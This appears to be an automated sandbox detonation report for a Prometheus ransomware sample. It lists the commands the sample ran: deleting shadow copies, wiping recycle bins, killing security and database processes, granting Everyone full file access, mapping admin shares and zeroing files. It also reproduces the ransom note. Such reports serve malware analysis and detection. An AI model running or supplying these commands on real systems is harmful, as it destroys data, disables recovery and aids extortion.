PID 1204 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\sc.exe
PID 1204 wrote to memory of 1768 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 1768 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 1768 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 624 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 624 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 624 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe
PID 1204 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 396 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\netsh.exe
PID 1204 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\conhost.exe
PID 1204 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\conhost.exe
PID 1204 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\conhost.exe
PID 1204 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\system32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe

"C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe"

C:\Windows\system32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\system32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\system32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\system32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\system32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\system32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q D:\\$Recycle.bin

C:\Windows\system32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\system32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-73263480-7702816827350024831586301895-15801980959845489-833548743-1169156495"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1642276066-1994570516306951670-159458028-2141211906-16054569251748672318-320944045"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1913092736-1939807161287520516-1228916481-780136151-1043967422-3416433811292609770"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "439284714778847812-449728416733680952-553076983-21172691513334265141040349607"

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\system32\icacls.exe

"icacls" "C:*" /grant Everyone:F /T /C /Q

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1313439125041658941093963462-1589410552-1320884379-1035460789-4920102-280935206"

C:\Windows\system32\icacls.exe

"icacls" "D:*" /grant Everyone:F /T /C /Q

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "9070805812018699594-2024718873-53560653-19738586432026091310-8428909311557736452"

C:\Windows\system32\icacls.exe

"icacls" "Z:*" /grant Everyone:F /T /C /Q

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\Users

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\A$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\B$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\C$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\D$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\E$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\F$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\G$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\H$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\I$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\J$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\K$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\L$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\M$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\N$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\O$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\P$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\Q$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\R$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\S$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\T$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\U$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\V$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\W$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\X$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\Y$

C:\Windows\system32\net.exe

"net.exe" use \\10.7.0.33\Z$

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\system32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Files

memory/1204-59-0x0000000000D20000-0x0000000000D21000-memory.dmp

memory/1204-61-0x000000001AC20000-0x000000001AC22000-memory.dmp

memory/988-62-0x0000000000000000-mapping.dmp

memory/852-63-0x0000000000000000-mapping.dmp

memory/1528-64-0x0000000000000000-mapping.dmp

memory/1288-65-0x0000000000000000-mapping.dmp

memory/2016-66-0x0000000000000000-mapping.dmp

memory/1816-67-0x0000000000000000-mapping.dmp

memory/2012-68-0x0000000000000000-mapping.dmp

memory/280-69-0x0000000000000000-mapping.dmp

memory/592-70-0x0000000000000000-mapping.dmp

memory/1784-71-0x0000000000000000-mapping.dmp

memory/820-72-0x0000000000000000-mapping.dmp

memory/1816-73-0x000007FEFB681000-0x000007FEFB683000-memory.dmp

memory/1496-74-0x0000000000000000-mapping.dmp

memory/912-75-0x0000000000000000-mapping.dmp

memory/1240-76-0x0000000000000000-mapping.dmp

memory/1544-77-0x0000000000000000-mapping.dmp

memory/1768-78-0x0000000000000000-mapping.dmp

memory/1656-80-0x0000000000000000-mapping.dmp

memory/1820-82-0x0000000000000000-mapping.dmp

memory/624-81-0x0000000000000000-mapping.dmp

memory/396-83-0x0000000000000000-mapping.dmp

memory/2008-84-0x0000000000000000-mapping.dmp

memory/1540-86-0x0000000000000000-mapping.dmp

memory/796-88-0x0000000000000000-mapping.dmp

memory/1620-89-0x0000000000000000-mapping.dmp

memory/916-90-0x0000000000000000-mapping.dmp

memory/1208-92-0x0000000000000000-mapping.dmp

memory/1828-91-0x0000000000000000-mapping.dmp

memory/948-93-0x0000000000000000-mapping.dmp

memory/1956-94-0x0000000000000000-mapping.dmp

memory/1560-95-0x0000000000000000-mapping.dmp

memory/928-96-0x0000000000000000-mapping.dmp

memory/1824-97-0x0000000000000000-mapping.dmp

memory/1284-98-0x0000000000000000-mapping.dmp

memory/788-99-0x0000000000000000-mapping.dmp

memory/276-100-0x0000000000000000-mapping.dmp

memory/756-101-0x0000000000000000-mapping.dmp

memory/1624-102-0x0000000000000000-mapping.dmp

memory/1908-103-0x0000000000000000-mapping.dmp

memory/1520-104-0x0000000000000000-mapping.dmp

memory/1996-105-0x0000000000000000-mapping.dmp

memory/960-106-0x0000000000000000-mapping.dmp

memory/1784-107-0x0000000000000000-mapping.dmp

memory/912-108-0x0000000000000000-mapping.dmp

memory/1816-109-0x0000000000000000-mapping.dmp

memory/240-110-0x0000000000000000-mapping.dmp

memory/1668-111-0x0000000000000000-mapping.dmp

memory/1016-112-0x0000000000000000-mapping.dmp

memory/1388-113-0x0000000000000000-mapping.dmp

memory/992-114-0x0000000000000000-mapping.dmp

memory/1820-115-0x0000000000000000-mapping.dmp

memory/820-116-0x0000000000000000-mapping.dmp

memory/920-117-0x0000000000000000-mapping.dmp

memory/1612-118-0x0000000000000000-mapping.dmp

memory/964-119-0x0000000000000000-mapping.dmp

memory/836-120-0x0000000000000000-mapping.dmp

memory/516-121-0x0000000000000000-mapping.dmp

memory/1852-122-0x0000000000000000-mapping.dmp

memory/988-123-0x0000000000000000-mapping.dmp

memory/864-124-0x0000000000000000-mapping.dmp

memory/1328-125-0x0000000000000000-mapping.dmp

memory/1060-126-0x0000000000000000-mapping.dmp

memory/948-127-0x0000000000000000-mapping.dmp

memory/1668-128-0x0000000000000000-mapping.dmp

memory/1804-129-0x0000000000000000-mapping.dmp

memory/752-131-0x00000000024C0000-0x00000000024C1000-memory.dmp

memory/752-132-0x000000001ACA0000-0x000000001ACA1000-memory.dmp

memory/752-133-0x00000000020B0000-0x00000000020B1000-memory.dmp

memory/752-134-0x000000001AC20000-0x000000001AC22000-memory.dmp

memory/752-135-0x000000001AC24000-0x000000001AC26000-memory.dmp

memory/752-136-0x00000000026B0000-0x00000000026B1000-memory.dmp

\??\PIPE\wkssvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 62b6f0bc72f80d678c3129fbe7db998e
SHA1 54805c61ee184b83421967784497a2acc77b309b
SHA256 b7b7333a1737c8dbb8a79a876b91e198c6a7826332e054f55937e06516b28213
SHA512 47b78c2de068ec9b55d67e8e59f22dd5a58d9a860e8b07236526dce44c385333a375017e8cc640565c8e835311fadb53b673ac61068c3e3b715392a886b0bd94

Analysis: behavioral2

Detonation Overview

Submitted

2021-05-28 06:53

Reported

2021-05-28 06:56

Platform

win10v20210410

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Downloads MZ/PE file

Downloads PsExec from SysInternals website

Description Indicator Process Target
HTTP URL http://live.sysinternals.com/PsExec64.exe N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\qy5ts0jh.exe N/A

Modifies Windows Firewall

evasion

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\icacls.exe N/A
N/A N/A C:\Windows\SYSTEM32\icacls.exe N/A
N/A N/A C:\Windows\SYSTEM32\icacls.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\reg.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
